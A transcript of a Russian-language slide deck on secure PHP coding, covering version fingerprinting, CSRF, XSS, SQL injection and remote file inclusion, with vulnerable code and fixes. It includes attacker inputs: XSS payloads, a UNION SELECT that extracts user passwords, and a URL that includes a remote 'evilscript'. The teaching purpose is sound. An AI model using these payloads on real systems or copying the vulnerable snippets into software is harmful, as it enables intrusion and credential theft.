Безопасный кодинг. Хакеры нас не достанут (Максим...

Post on 16-Apr-2017

24 views 0 download

Transcript of Безопасный кодинг. Хакеры нас не достанут (Максим...

Максим “Arrim” Попов

Максим “Arrim” Попов

Безопасный кодингхакеры нас не достанут

Максим “Arrim” Попов

WHOAMI

Maxim “Arrim” Popov

Backend разработчик

@Arrim_kz

Максим “Arrim” Попов

FingerprintПозволяет узнать какой движок или framework вы используете. Тем самым хакер может воспользоваться уже известной уязвимостью, которую вы не успели закрыть.

Так же боты используют Fingerprint для поиска уязвимых сайтов.

Максим “Arrim” Попов

Fingerprint в wordpressВ header страницы:<meta name="generator" content="WordPress 4.3.1">

В RSS: <generator>http://wordpress.org/?v=4.3.1</generator>

При подключении стилей и скриптов:<link rel='stylesheet' id='dashicons-css' href='http://your_site/core/wp-includes/css/dashicons.min.css?ver=4.3.1' type='text/css' media='all' />

Максим “Arrim” Попов

Fingerprint в wordpressВ header страницы:<meta name="generator" content="WordPress 4.3.1">

В RSS: <generator>http://wordpress.org/?v=4.3.1</generator>

При подключении стилей и скриптов:<link rel='stylesheet' id='dashicons-css' href='http://your_site/core/wp-includes/css/dashicons.min.css?ver=4.3.1' type='text/css' media='all' />

В functions.php:add_filter('the_generator', '__return_empty_string');function rem_wp_ver_css_js ($src) { if (strpos($src, 'ver=')) $src = remove_query_arg('ver', $src); return $src;}add_filter ('style_loader_src', 'rem_wp_ver_css_js', 9999);add_filter ('script_loader_src', 'rem_wp_ver_css_js', 9999);

Максим “Arrim” Попов

[название движка] скрыть версию

Максим “Arrim” Попов

Вывод ошибок

Максим “Arrim” Попов

ini_set('display_errors','Off');

Максим “Arrim” Попов

Извините, у нас обед ошибка

Максим “Arrim” Попов

CSRFCSRF (англ. Сross Site Request Forgery — «Подделка межсайтовых запросов», также известен как XSRF) — вид атак на посетителей веб-сайтов. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника).

Максим “Arrim” Попов

CSRFМетод: logOutAction()

[/logout]

...

$this->auth->remove();

...

<a href="/logout">Выйти</a>

Опасная картинка:

<img src="/logout">

Максим “Arrim” Попов

CSRFif($this->security->checkToken())

{

$this->auth->remove();

}

<a href="/logout?<?= $this->security->getTokenKey(); ?>=<?= $this->security->getToken(); ?>">Выйти</a>

Максим “Arrim” Попов

XSSXSS (англ. Cross-Site Scripting — «межсайтовый скриптинг») — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.

Максим “Arrim” Попов

XSSУязвимый код:

<title>

<?php echo $_GET['query'] ?>

</title>

Запрос хакера:

<script>

alert("HACK!")

</script>

Максим “Arrim” Попов

XSSУязвимый код:

<title>

<?php echo $_GET['query'] ?>

</title>

Запрос хакера:

<script>

alert("HACK!")

</script>

Максим “Arrim” Попов

Защита от XSS: strip_tags<title>

<?php echo strip_tags($_GET['query']) ?>

</title>

Результат:

<title>

alert("HACK!")

</title>

<input value="<?php strip_tags($_GET['query']); ?>">

Запрос хакера:

" onClick="alert(‘HACK!’);

Результат:

<input value="" onClick="alert('HACK!');">

Максим “Arrim” Попов

Защита от XSS: strip_tags<title>

<?php echo strip_tags($_GET['query']) ?>

</title>

Результат:

<title>

alert("HACK!")

</title>

Максим “Arrim” Попов

htmlentities() и htmlspecialchars()

<input value="<?php htmlentities($_GET['query']); ?>">

Результат:

<input value="&quot; onClick=&quot;alert('HACK!')&quot;">

<input value="<?php htmlspecialchars($_GET['query']); ?>">

Результат:

<input value="&quot; onClick=&quot;alert('HACK!')&quot;">

Максим “Arrim” Попов

SQL injectionВнедрение SQL-кода (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.

Максим “Arrim” Попов

SQL injection$news_id = $_GET['id'];

mysqli_query($link,

"SELECT * FROM news WHERE id = $news_id");

Запрос хакера:

news.php?news_id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1

Результат:

SELECT * FROM news

WHERE id = -1

UNION SELECT name,2,pass,4,5 FROM users WHERE id=1

Максим “Arrim” Попов

SQL injection$news_id = (int) $_GET['id'];

mysqli_query($link,

"SELECT * FROM news WHERE id = $news_id");

Запрос хакера:

news.php?news_id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1

Результат:

SELECT * FROM news

WHERE id = -1

Максим “Arrim” Попов

mysqli_real_escape_string()

Максим “Arrim” Попов

SQL injectionArticles::find(array(

"title LIKE :search:",

"bind" => array(

"search" => "%".$this->request->getQuery("s")."%",

),

));

Максим “Arrim” Попов

PHP injectionPHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне.

Максим “Arrim” Попов

PHP injectioneval()

preg_replace() (с модификатором «e»)

require_once()

include_once()

include()

require()

create_function()

$module = $_GET['module'];

include $module . '.php';

Запрос хакера:

?module=http://slider.kz/evilscript

Максим “Arrim” Попов